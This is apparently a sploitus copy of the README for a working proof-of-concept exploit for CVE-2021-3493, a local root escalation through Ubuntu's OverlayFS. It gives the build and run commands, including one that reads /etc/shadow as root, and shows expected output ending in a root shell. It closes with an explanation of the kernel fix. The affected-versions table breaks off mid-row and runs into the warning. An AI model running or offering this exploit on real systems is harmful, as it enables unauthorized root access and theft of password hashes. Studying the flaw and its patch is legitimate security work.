Exploit for Incorrect Authorization in Canonical Ubuntu_Linux CVE-2021-3493

## https://sploitus.com/exploit?id=D93ABC0D-4720-5301-8A85-38F3D4DF0784
# CVE-2021-3493 — Ubuntu OverlayFS Local Privilege Escalation

A working proof-of-concept for **CVE-2021-3493**, a local privilege escalation vulnerability in the Ubuntu kernel's OverlayFS implementation.

An unprivileged user can mount an overlay filesystem inside a user namespace and set arbitrary file capabilities via `setxattr`. The kernel fails to validate the namespace origin of these capabilities, so they take effect in the **init user namespace** — allowing any local user to escalate to root.

## Affected Versions

| Distribution | Kernel | Status |
|---|---|---|
| Ubuntu 20.04 LTS |  **⚠️ WARNING**: Only run this on systems you own or are explicitly authorized to test. This exploit grants real root access.

```bash
make
./exploit
```

Default behavior spawns an interactive root shell. You can also run a single command:

```bash
./exploit "id && cat /etc/shadow"
```

### Expected Output

```
============================================
  CVE-2021-3493 OverlayFS Privilege Escalation
  Kernel: 5.4.0-65-generic
  User:   uid=1000(user) gid=1000(user)
============================================

[1] Setting up overlay filesystem in user namespace...
[2] File capabilities set on /tmp/.ovlcap/upper/rootshell
[3] Executing rootshell from init namespace...

[*] Before privilege escalation:
    uid=1000(user) gid=1000(user)
[*] Process capabilities:
    CapInh: 0000000000000000
    CapPrm: 0000003fffffffff
    CapEff: 0000003fffffffff
    CapBnd: 0000003fffffffff
    CapAmb: 0000000000000000

[+] After setuid(0) + setgid(0):
    uid=0(root) gid=0(root)

root@host:~#
```

## Cleanup

```bash
make clean
```

## Kernel Fix

Patched kernels (e.g. >= 5.4.0-70 on Ubuntu 20.04) upgrade the capability xattr from **v2 to v3** format when set through an overlay in a user namespace. The v3 format includes a `rootid` field recording the setter's real UID in the init namespace. On exec, the kernel checks `rootid` — if it is not 0, the capabilities are rejected:

```
# Vulnerable kernel (5.4.0-65) — v2 format, no rootid
security.capability = 0x01000002 ffffffff00000000 ffffffff00000000

# Patched kernel (5.4.0-70+) — v3 format, rootid=1000
security.capability = 0x01000003 ffffffff00000000 ffffffff00000000 e8030000
                           ^^                                      ^^^^^^^^
                           v3                                    rootid=1000
```

## References

- [Ubuntu Security Advisory — CVE-2021-3493](https://ubuntu.com/security/CVE-2021-3493)
- [NVD — CVE-2021-3493](https://nvd.nist.gov/vuln/detail/CVE-2021-3493)
- [Original PoC by inspiringz](https://github.com/inspiringz/CVE-2021-3493)
- [Kernel patch (ovl: fix missing negative dentry check)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7c03e2cda4a584cadc398e8f6641ca9988a39d52)

## Disclaimer

This code is provided for **security research and authorized testing only**. Use it only on systems you own or have explicit written permission to test. The authors assume no liability for misuse.